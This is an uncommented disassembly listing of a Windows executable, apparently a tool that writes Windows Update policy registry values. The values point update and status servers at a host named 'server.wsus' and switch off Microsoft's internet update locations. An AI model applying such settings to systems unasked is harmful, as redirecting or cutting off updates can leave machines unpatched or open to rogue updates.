cmp rdx, 8
jb 0x140002e1a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002e15
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400035ec
call fcn.14000a4e0
movdqa xmm0, xmmword [0x140039730]
movdqu xmmword [rsp + 0x30], xmm0
mov word [rsp + 0x20], r14w
mov rdx, qword [rsp + 0x58]
cmp rdx, 8
jb 0x140002e70
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002e6b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400035f2
call fcn.14000a4e0
movdqa xmm0, xmmword [0x140039730]
movdqu xmmword [rsp + 0x50], xmm0
mov word [rsp + 0x40], r14w
mov rdx, qword [rsp + 0x78]
cmp rdx, 8
jb 0x140002ec6
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002ec1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400035f8
call fcn.14000a4e0
lea rdx, [0x140038a7c]
lea rcx, [rsp + 0x60]
call fcn.1400036d0
nop
lea rdx, str.UseWUServer
lea rcx, [rsp + 0x40]
call fcn.1400036d0
nop
lea rdx, str.SOFTWAREPoliciesMicrosoftWindowsWindowsUpdateAU
lea rcx, [rsp + 0x20]
call fcn.1400036d0
nop
lea r8, [rsp + 0x60]
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x20]
call fcn.1400019a0
nop
mov rdx, qword [rsp + 0x38]
cmp rdx, 8
jb 0x140002f53
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002f4e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400035fe
call fcn.14000a4e0
movdqa xmm0, xmmword [0x140039730]
movdqu xmmword [rsp + 0x30], xmm0
mov word [rsp + 0x20], r14w
mov rdx, qword [rsp + 0x58]
cmp rdx, 8
jb 0x140002fa9
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002fa4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003604
call fcn.14000a4e0
movdqa xmm0, xmmword [0x140039730]
movdqu xmmword [rsp + 0x50], xmm0
mov word [rsp + 0x40], r14w
mov rdx, qword [rsp + 0x78]
cmp rdx, 8
jb 0x140002fff
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002ffa
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000360a
call fcn.14000a4e0
lea rdx, [0x140038a7c]
lea rcx, [rsp + 0x60]
call fcn.1400036d0
nop
lea rdx, str.DoNotConnectToWindowsUpdateInternetLocations
lea rcx, [rsp + 0x40]
call fcn.1400036d0
nop
lea rdx, str.SOFTWAREPoliciesMicrosoftWindowsWindowsUpdate
lea rcx, [rsp + 0x20]
call fcn.1400036d0
nop
lea r8, [rsp + 0x60]
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x20]
call fcn.1400019a0
nop
mov rdx, qword [rsp + 0x38]
cmp rdx, 8
jb 0x14000308c
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003087
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003610
call fcn.14000a4e0
movdqa xmm0, xmmword [0x140039730]
movdqu xmmword [rsp + 0x30], xmm0
mov word [rsp + 0x20], r14w
mov rdx, qword [rsp + 0x58]
cmp rdx, 8
jb 0x1400030e2
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400030dd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003616
call fcn.14000a4e0
movdqa xmm0, xmmword [0x140039730]
movdqu xmmword [rsp + 0x50], xmm0
mov word [rsp + 0x40], r14w
mov rdx, qword [rsp + 0x78]
cmp rdx, 8
jb 0x140003138
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003133
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000361c
call fcn.14000a4e0
lea rdx, str.server.wsus
lea rcx, [rsp + 0x60]
call fcn.1400036d0
nop
lea rdx, str.WUStatusServer
lea rcx, [rsp + 0x40]
call fcn.1400036d0
nop
lea rdx, str.SOFTWAREPoliciesMicrosoftWindowsWindowsUpdate
lea rcx, [rsp + 0x20]
call fcn.1400036d0
nop
lea r8, [rsp + 0x60]
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x20]
call fcn.1400019a0
nop
mov rdx, qword [rsp + 0x38]
cmp rdx, 8
jb 0x1400031c5
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400031c0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003622
call fcn.14000a4e0
movdqa xmm0, xmmword [0x140039730]
movdqu xmmword [rsp + 0x30], xmm0
mov word [rsp + 0x20], r14w
mov rdx, qword [rsp + 0x58]
cmp rdx, 8
jb 0x14000321b
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003216
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003628
call fcn.14000a4e0
movdqa xmm0, xmmword [0x140039730]
movdqu xmmword [rsp + 0x50], xmm0
mov word [rsp + 0x40], r14w
mov rdx, qword [rsp + 0x78]
cmp rdx, 8
jb 0x140003271
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000326c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000362e
call fcn.14000a4e0
lea rdx, str.server.wsus
lea rcx, [rsp + 0x60]
call fcn.1400036d0
nop
lea rdx, str.WUServer
lea rcx, [rsp + 0x40]
call fcn.1400036d0
nop
lea rdx, str.SOFTWAREPoliciesMicrosoftWindowsWindowsUpdate
lea rcx, [rsp + 0x20]
call fcn.1400036d0
nop
lea r8, [rsp + 0x60]
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x20]
call fcn.1400019a0
nop
mov rdx, qword [rsp + 0x38]
cmp rdx, 8
jb 0x1400032fe
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400032f9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003634
call fcn.14000a4e0
movdqa xmm0, xmmword [0x140039730]
movdqu xmmword [rsp + 0x30], xmm0
mov word [rsp + 0x20], r14w
mov rdx, qword [rsp + 0x58]
cmp rdx, 8
jb 0x140003354
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000334f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000363a
call fcn.14000a4e0
movdqa xmm0, xmmword [0x140039730]
movdqu xmmword [rsp + 0x50], xmm0
mov word [rsp + 0x40], r14w
mov rdx, qword [rsp + 0x78]
cmp rdx, 8
jb 0x1400033aa
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400033a5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003640
call fcn.14000a4e0
lea rdx, str.server.wsus
lea rcx, [rsp + 0x60]
call fcn.1400036d0
nop
lea rdx, str.UpdateServiceUrlAlternate
lea rcx, [rsp + 0x40]
call fcn.1400036d0
nop
lea rdx, str.SOFTWAREPoliciesMicrosoftWindowsWindowsUpdate
lea rcx, [rsp + 0x20]
call fcn.1400036d0
nop
lea r8, [rsp + 0x60]
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x20]
call fcn.1400019a0
nop
mov rdx, qword [rsp + 0x38]
cmp rdx, 8
jb 0x140003437
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003432
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003646
call fcn.14000a4e0
movdqa xmm0, xmmword [0x140039730]
movdqu xmmword [rsp + 0x30], xmm0
mov word [rsp + 0x20], r14w
mov rdx, qword [rsp + 0x58]
cmp rdx, 8
jb 0x14000348d
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003488
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000364c
call fcn.14000a4e0
movdqa xmm0, xmmword [0x140039730]
movdqu xmmword [rsp + 0x50], xmm0
mov word [rsp + 0x40], r14w
mov rdx, qword [rsp + 0x78]
cmp rdx, 8
jb 0x1400034e4
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400034de
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003652
call fcn.14000a4e0
nop
mov rcx, qword [rsp + 0x710]
xor rcx, rsp
call fcn.14000a4c0
lea r11, [rsp + 0x720]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop r14
ret
call fcn.140014b38
nop
call fcn.140014b38
int3
call fcn.140014b38
int3
call fcn.140014b38
nop
call fcn.140014b38
nop
call fcn.140014b38
nop
call fcn.140014b38
nop
call fcn.140014b38
nop
call fcn.140014b38
nop
call fcn.140014b38
nop
call fcn.140014b38
nop
call fcn.140014b38
nop
call fcn.140014b38
nop
call fcn.140014b38
nop
call fcn.140014b38
nop
call fcn.140014b38
nop
call fcn.140014b38
nop
call fcn.140014b38
nop
call fcn.140014b38
nop
call fcn.140014b38
nop
call fcn.140014b38
nop
call fcn.140014b38
nop
call fcn.140014b38
nop
call fcn.140014b38
nop
call fcn.140014b38
nop
call fcn.140014b38
nop
call fcn.140014b38
nop
call fcn.140014b38
nop
call fcn.140014b38
nop
call fcn.140014b38
nop
call fcn.140014b38
nop
call fcn.140014b38
nop
call fcn.140014b38
nop
call fcn.140014b38
nop
call fcn.140014b38
nop
call fcn.140014b38
nop
call fcn.140014b38
nop
call fcn.140014b38
nop
call fcn.140014b38
nop
call fcn.140014b38
nop
call fcn.140014b38
nop
call fcn.140014b38
nop
call fcn.140014b38
nop
call fcn.140014b38
nop
call fcn.140014b38
nop
call fcn.140014b38
nop
call fcn.140014b38
nop
call fcn.140014b38
nop
call fcn.140014b38
nop
call fcn.140014b38
nop
call fcn.140014b38
nop
call fcn.140014b38
nop
call fcn.140014b38
nop
call fcn.140014b38
nop
call fcn.140014b38
int3